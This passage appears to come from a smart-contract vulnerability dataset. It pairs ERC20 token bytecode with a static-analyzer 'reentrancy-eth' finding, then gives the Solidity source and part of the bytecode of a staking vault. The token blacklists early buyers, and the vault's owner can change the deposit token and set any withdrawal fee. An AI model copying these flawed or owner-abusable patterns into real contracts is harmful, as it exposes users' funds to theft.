5b506000546001600160a01b031661028d565b34801561042657600080fd5b506101fc610435366004611c1d565b6108a0565b34801561044657600080fd5b506102bc60185481565b34801561045c57600080fd5b506040805180820190915260048152634841574b60e01b6020820152610227565b34801561048957600080fd5b506101fc610498366004611c38565b6108ec565b3480156104a957600080fd5b506101fc6104b8366004611c51565b61091b565b3480156104c957600080fd5b5061025d6104d8366004611aa1565b610959565b3480156104e957600080fd5b5061025d6104f83660046119ed565b60116020526000908152604090205460ff1681565b34801561051957600080fd5b506101fc610966565b34801561052e57600080fd5b506101fc61053d366004611acd565b6109ba565b34801561054e57600080fd5b506102bc60085481565b34801561056457600080fd5b506102bc610573366004611a27565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105aa57600080fd5b506101fc6105b9366004611c38565b610a5b565b3480156105ca57600080fd5b506101fc6105d93660046119ed565b610a8a565b6000546001600160a01b031633146106115760405162461bcd60e51b815260040161060890611cd8565b60405180910390fd5b60005b81518110156106795760016011600084848151811061063557610635611e1f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067181611dee565b915050610614565b5050565b600061068a338484610b74565b5060015b92915050565b60006106a1848484610c98565b6106f384336106ee85604051806060016040528060288152602001611e61602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061124b565b610b74565b5060019392505050565b6000546001600160a01b031633146107275760405162461bcd60e51b815260040161060890611cd8565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107725760405162461bcd60e51b815260040161060890611cd8565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107c557506014546001600160a01b0316336001600160a01b0316145b6107ce57600080fd5b476107d881611285565b50565b6001600160a01b03811660009081526002602052604081205461068e9061130a565b6000546001600160a01b031633146108275760405162461bcd60e51b815260040161060890611cd8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461089b5760405162461bcd60e51b815260040161060890611cd8565b601755565b6000546001600160a01b031633146108ca5760405162461bcd60e51b815260040161060890611cd8565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109165760405162461bcd60e51b815260040161060890611cd8565b601955565b6000546001600160a01b031633146109455760405162461bcd60e51b815260040161060890611cd8565b600993909355600b91909155600a55600c55565b600061068a338484610c98565b6013546001600160a01b0316336001600160a01b0316148061099b57506014546001600160a01b0316336001600160a01b0316145b6109a457600080fd5b60006109af306107db565b90506107d88161138e565b6000546001600160a01b031633146109e45760405162461bcd60e51b815260040161060890611cd8565b60005b82811015610a55578160056000868685818110610a0657610a06611e1f565b9050602002016020810190610a1b91906119ed565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4d81611dee565b9150506109e7565b50505050565b6000546001600160a01b03163314610a855760405162461bcd60e51b815260040161060890611cd8565b601855565b6000546001600160a01b03163314610ab45760405162461bcd60e51b815260040161060890611cd8565b6001600160a01b038116610b195760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610608565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610608565b6001600160a01b038216610c375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610608565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610608565b6001600160a01b038216610d5e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610608565b60008111610dc05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610608565b6000546001600160a01b03848116911614801590610dec57506000546001600160a01b03838116911614155b1561114457601654600160a01b900460ff16610e85576000546001600160a01b03848116911614610e855760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610608565b601754811115610ed75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610608565b6001600160a01b03831660009081526011602052604090205460ff16158015610f1957506001600160a01b03821660009081526011602052604090205460ff16155b610f715760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610608565b6008544311158015610f9057506016546001600160a01b038481169116145b8015610faa57506015546001600160a01b03838116911614155b8015610fbf57506001600160a01b0382163014155b15610fe8576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b0383811691161461106d576018548161100a846107db565b6110149190611d7e565b1061106d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610608565b6000611078306107db565b6019546017549192508210159082106110915760175491505b8080156110a85750601654600160a81b900460ff16155b80156110c257506016546001600160a01b03868116911614155b80156110d75750601654600160b01b900460ff165b80156110fc57506001600160a01b03851660009081526005602052604090205460ff16155b801561112157506001600160a01b03841660009081526005602052604090205460ff16155b156111415761112f8261138e565b47801561113f5761113f47611285565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061118657506001600160a01b03831660009081526005602052604090205460ff165b806111b857506016546001600160a01b038581169116148015906111b857506016546001600160a01b03848116911614155b156111c55750600061123f565b6016546001600160a01b0385811691161480156111f057506015546001600160a01b03848116911614155b1561120257600954600d55600a54600e555b6016546001600160a01b03848116911614801561122d57506015546001600160a01b03858116911614155b1561123f57600b54600d55600c54600e555b610a5584848484611517565b6000818484111561126f5760405162461bcd60e51b81526004016106089190611c83565b50600061127c8486611dd7565b95945050505050565b6013546001600160a01b03166108fc61129f836002611545565b6040518115909202916000818181858888f193505050501580156112c7573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112e2836002611545565b6040518115909202916000818181858888f19350505050158015610679573d6000803e3d6000fd5b60006006548211156113715760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610608565b600061137b611587565b90506113878382611545565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113d6576113d6611e1f565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561142a57600080fd5b505afa15801561143e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114629190611a0a565b8160018151811061147557611475611e1f565b6001600160a01b03928316602091820292909201015260155461149b9130911684610b74565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114d4908590600090869030904290600401611d0d565b600060405180830381600087803b1580156114ee57600080fd5b505af1158015611502573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611524576115246115aa565b61152f8484846115d8565b80610a5557610a55600f54600d55601054600e55565b600061138783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116cf565b60008060006115946116fd565b90925090506115a38282611545565b9250505090565b600d541580156115ba5750600e54155b156115c157565b600d8054600f55600e805460105560009182905555565b6000806000806000806115ea8761173d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061161c908761179a565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461164b90866117dc565b6001600160a01b03891660009081526002602052604090205561166d8161183b565b6116778483611885565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116bc91815260200190565b60405180910390a3505050505050505050565b600081836116f05760405162461bcd60e51b81526004016106089190611c83565b50600061127c8486611d96565b6006546000908190670de0b6b3a76400006117188282611545565b82101561173457505060065492670de0b6b3a764000092509050565b90939092509050565b600080600080600080600080600061175a8a600d54600e546118a9565b925092509250600061176a611587565b9050600080600061177d8e8787876118fe565b919e509c509a509598509396509194505050505091939550919395565b600061138783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061124b565b6000806117e98385611d7e565b9050838110156113875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610608565b6000611845611587565b90506000611853838361194e565b3060009081526002602052604090205490915061187090826117dc565b30600090815260026020526040902055505050565b600654611892908361179a565b6006556007546118a290826117dc565b6007555050565b60008080806118c360646118bd898961194e565b90611545565b905060006118d660646118bd8a8961194e565b905060006118ee826118e88b8661179a565b9061179a565b9992985090965090945050505050565b600080808061190d888661194e565b9050600061191b888761194e565b90506000611929888861194e565b9050600061193b826118e8868661179a565b939b939a50919850919650505050505050565b60008261195d5750600061068e565b60006119698385611db8565b9050826119768583611d96565b146113875760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610608565b80356119d881611e4b565b919050565b803580151581146119d857600080fd5b6000602082840312156119ff57600080fd5b813561138781611e4b565b600060208284031215611a1c57600080fd5b815161138781611e4b565b60008060408385031215611a3a57600080fd5b8235611a4581611e4b565b91506020830135611a5581611e4b565b809150509250929050565b600080600060608486031215611a7557600080fd5b8335611a8081611e4b565b92506020840135611a9081611e4b565b929592945050506040919091013590565b60008060408385031215611ab457600080fd5b8235611abf81611e4b565b946020939093013593505050565b600080600060408486031215611ae257600080fd5b833567ffffffffffffffff80821115611afa57600080fd5b818601915086601f830112611b0e57600080fd5b813581811115611b1d57600080fd5b8760208260051b8501011115611b3257600080fd5b602092830195509350611b4891860190506119dd565b90509250925092565b60006020808385031215611b6457600080fd5b823567ffffffffffffffff80821115611b7c57600080fd5b818501915085601f830112611b9057600080fd5b813581811115611ba257611ba2611e35565b8060051b604051601f19603f83011681018181108582111715611bc757611bc7611e35565b604052828152858101935084860182860187018a1015611be657600080fd5b600095505b83861015611c1057611bfc816119cd565b855260019590950194938601938601611beb565b5098975050505050505050565b600060208284031215611c2f57600080fd5b611387826119dd565b600060208284031215611c4a57600080fd5b5035919050565b60008060008060808587031215611c6757600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611cb057858101830151858201604001528201611c94565b81811115611cc2576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d5d5784516001600160a01b031683529383019391830191600101611d38565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d9157611d91611e09565b500190565b600082611db357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dd257611dd2611e09565b500290565b600082821015611de957611de9611e09565b500390565b6000600019821415611e0257611e02611e09565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107d857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202a85abe608db9f7713841febf6f8c252e37376a59e7ac7ec5824cff757d03c3d64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 5,394 |
0x66f1c7f72c75818ddf07ae55bdef6b4155a6295c
|
/**
*Submitted for verification at Etherscan.io on 2021-06-15
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
modifier onlyOwner() {
require(msg.sender==owner,"only owner allowed");
_;
}
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
address payable owner;
address payable newOwner;
function changeOwner(address payable _newOwner) public onlyOwner {
require(_newOwner!=address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner, "only new owner allowed");
emit OwnershipTransferred(
owner,
newOwner
);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
function mintStakeFarmSupply(address to,uint256 _amount) external returns(uint256);
}
contract RemitVaultFarmEth is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
event RewardsDisbursed(uint amount);
address public trustedDepositTokenAddress;
address public trustedRewardTokenAddress;
uint public adminCanClaimAfter = 395 days;
uint public withdrawFeePercentX100 = 50;
uint public disburseAmount = 68287036999999990;
uint public disburseDuration = 15;
uint public cliffTime = 20 days;
uint public constant rewardFeeRate = 500;
uint public disbursePercentX100 = 10000;
uint public contractDeployTime;
uint public adminClaimableTime;
uint public lastDisburseTime;
constructor() public {
contractDeployTime = now;
adminClaimableTime = contractDeployTime.add(adminCanClaimAfter);
lastDisburseTime = contractDeployTime;
}
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public lastDivPoints;
uint public totalTokensDisbursed = 0;
uint public contractBalance = 0;
uint public totalDivPoints = 0;
uint public totalTokens = 0;
uint internal pointMultiplier = 1e18;
function updateAccount(address account) private {
distributeDivs();
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
uint feeReward = pendingDivs.mul(rewardFeeRate).div(1e4);
pendingDivs = pendingDivs.sub(feeReward);
require(Token(trustedRewardTokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
require(Token(trustedRewardTokenAddress).transfer(owner, feeReward), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
lastDivPoints[account] = totalDivPoints;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]);
uint depositedAmount = depositedTokens[_holder];
uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(trustedDepositTokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
totalTokens = totalTokens.add(amountToDeposit);
depositTime[msg.sender] = now;
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(depositTime[msg.sender]) > cliffTime, "Please wait before withdrawing!");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(trustedDepositTokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
// withdraw without caring about Rewards
function emergencyWithdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(depositTime[msg.sender]) > cliffTime, "Please wait before withdrawing!");
lastClaimedTime[msg.sender] = now;
lastDivPoints[msg.sender] = totalDivPoints;
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(trustedDepositTokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function distributeDivs() private {
if (totalTokens == 0) return;
uint amount = getPendingDisbursement();
uint256 mintedToken = Token(trustedRewardTokenAddress).mintStakeFarmSupply(address(this),amount);
totalDivPoints = totalDivPoints.add(mintedToken.mul(pointMultiplier).div(totalTokens));
lastDisburseTime = now;
emit RewardsDisbursed(amount);
}
function getPendingDisbursement() public view returns (uint) {
uint timeDiff = now.sub(lastDisburseTime);
uint pendingDisburse = disburseAmount
.mul(disbursePercentX100)
.mul(timeDiff)
.div(disburseDuration)
.div(10000);
return pendingDisburse;
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
// function to allow owner to claim *other* ERC20 tokens sent to this contract
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
// require(_tokenAddr != trustedRewardTokenAddress && _tokenAddr != trustedDepositTokenAddress, "Cannot send out reward tokens or staking tokens!");
require(_tokenAddr != trustedDepositTokenAddress, "Admin cannot transfer out deposit tokens from this vault!");
require((_tokenAddr != trustedRewardTokenAddress) || (now > adminClaimableTime), "Admin cannot Transfer out Reward Tokens yet!");
Token(_tokenAddr).transfer(_to, _amount);
}
function setDepositTokenAddress(address _trustedDepositTokenAddress) public onlyOwner {
trustedDepositTokenAddress = _trustedDepositTokenAddress;
}
function setWithdrawFeePercent(uint256 _fee) public onlyOwner {
withdrawFeePercentX100 = _fee;
}
function setRewardTokenAddress(address _trustedRewardTokenAddress) public onlyOwner {
trustedRewardTokenAddress = _trustedRewardTokenAddress;
}
}
|
0x608060405234801561001057600080fd5b506004361061021c5760003560e01c80638e20a1d911610125578063c326bf4f116100ad578063d7130e141161007c578063d7130e14146105f9578063e027c61f14610601578063f3f91fa014610609578063f5de2d1f1461062f578063fe547f72146106375761021c565b8063c326bf4f146105bb578063ca7e0835146105e1578063d1b965f3146105e9578063d578ceab146105f15761021c565b80639a6acf20116100f45780639a6acf20146105425780639f54790d14610568578063a6f9dae114610570578063ac51de8d14610596578063b6b55f251461059e5761021c565b80638e20a1d9146104e65780638f5705be146104ee57806398896d10146104f657806399cf62cc1461051c5761021c565b806346c64873116101a857806365ca78be1161017757806365ca78be146104905780636a395ccb1461049857806379ba5097146104ce5780637e1c0c09146104d65780638b7afe2e146104de5761021c565b806346c648731461041f5780634e71d92d146104455780635312ea8e1461044d5780636270cd181461046a5761021c565b80631f04461c116101ef5780631f04461c146103ad5780632e1a7d4d146103d3578063308feec3146103f257806331a5dda1146103fa578063447cb896146104025761021c565b806305447d25146102215780630c9a0c78146103675780630f1a6444146103815780631cfa802114610389575b600080fd5b6102446004803603604081101561023757600080fd5b508035906020013561063f565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b83811015610290578181015183820152602001610278565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156102cf5781810151838201526020016102b7565b50505050905001858103835287818151815260200191508051906020019060200280838360005b8381101561030e5781810151838201526020016102f6565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561034d578181015183820152602001610335565b505050509050019850505050505050505060405180910390f35b61036f6108ab565b60408051918252519081900360200190f35b61036f6108b1565b6103916108b7565b604080516001600160a01b039092168252519081900360200190f35b61036f600480360360208110156103c357600080fd5b50356001600160a01b03166108c6565b6103f0600480360360208110156103e957600080fd5b50356108d8565b005b61036f610c02565b610391610c13565b6103f06004803603602081101561041857600080fd5b5035610c22565b61036f6004803603602081101561043557600080fd5b50356001600160a01b0316610c7b565b6103f0610c8d565b6103f06004803603602081101561046357600080fd5b5035610c98565b61036f6004803603602081101561048057600080fd5b50356001600160a01b0316610da2565b61036f610db4565b6103f0600480360360608110156104ae57600080fd5b506001600160a01b03813581169160208101359091169060400135610dba565b6103f0610f3c565b61036f610ff5565b61036f610ffb565b61036f611001565b61036f611007565b61036f6004803603602081101561050c57600080fd5b50356001600160a01b031661100d565b6103f06004803603602081101561053257600080fd5b50356001600160a01b03166110a9565b6103f06004803603602081101561055857600080fd5b50356001600160a01b031661111f565b61036f611195565b6103f06004803603602081101561058657600080fd5b50356001600160a01b031661119b565b61036f611224565b6103f0600480360360208110156105b457600080fd5b5035611274565b61036f600480360360208110156105d157600080fd5b50356001600160a01b0316611415565b61036f611427565b61036f61142d565b61036f611433565b61036f611439565b61036f61143f565b61036f6004803603602081101561061f57600080fd5b50356001600160a01b0316611445565b61036f611457565b61036f61145d565b60608060608084861061065157600080fd5b600061065d868861147b565b905060608167ffffffffffffffff8111801561067857600080fd5b506040519080825280602002602001820160405280156106a2578160200160208202803683370190505b50905060608267ffffffffffffffff811180156106be57600080fd5b506040519080825280602002602001820160405280156106e8578160200160208202803683370190505b50905060608367ffffffffffffffff8111801561070457600080fd5b5060405190808252806020026020018201604052801561072e578160200160208202803683370190505b50905060608467ffffffffffffffff8111801561074a57600080fd5b50604051908082528060200260200182016040528015610774578160200160208202803683370190505b5090508a5b8a81101561089957600061078e600e8361148d565b9050600061079c838f61147b565b9050818782815181106107ab57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505060116000836001600160a01b03166001600160a01b03168152602001908152602001600020548682815181106107fd57fe5b60200260200101818152505060126000836001600160a01b03166001600160a01b031681526020019081526020016000205485828151811061083b57fe5b60200260200101818152505060106000836001600160a01b03166001600160a01b031681526020019081526020016000205484828151811061087957fe5b6020908102919091010152506108929050816001611463565b9050610779565b50929a91995097509095509350505050565b60095481565b60085481565b6002546001600160a01b031681565b60146020526000908152604090205481565b3360009081526010602052604090205481111561093c576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b6008543360009081526011602052604090205461095a90429061147b565b116109ac576040805162461bcd60e51b815260206004820152601f60248201527f506c656173652077616974206265666f7265207769746864726177696e672100604482015290519081900360640190fd5b6109b533611499565b60006109d86127106109d26005548561173b90919063ffffffff16565b9061175b565b905060006109e6838361147b565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610a4257600080fd5b505af1158015610a56573d6000803e3d6000fd5b505050506040513d6020811015610a6c57600080fd5b5051610abf576040805162461bcd60e51b815260206004820152601760248201527f436f756c64206e6f74207472616e736665722066656521000000000000000000604482015290519081900360640190fd5b6002546040805163a9059cbb60e01b81523360048201526024810184905290516001600160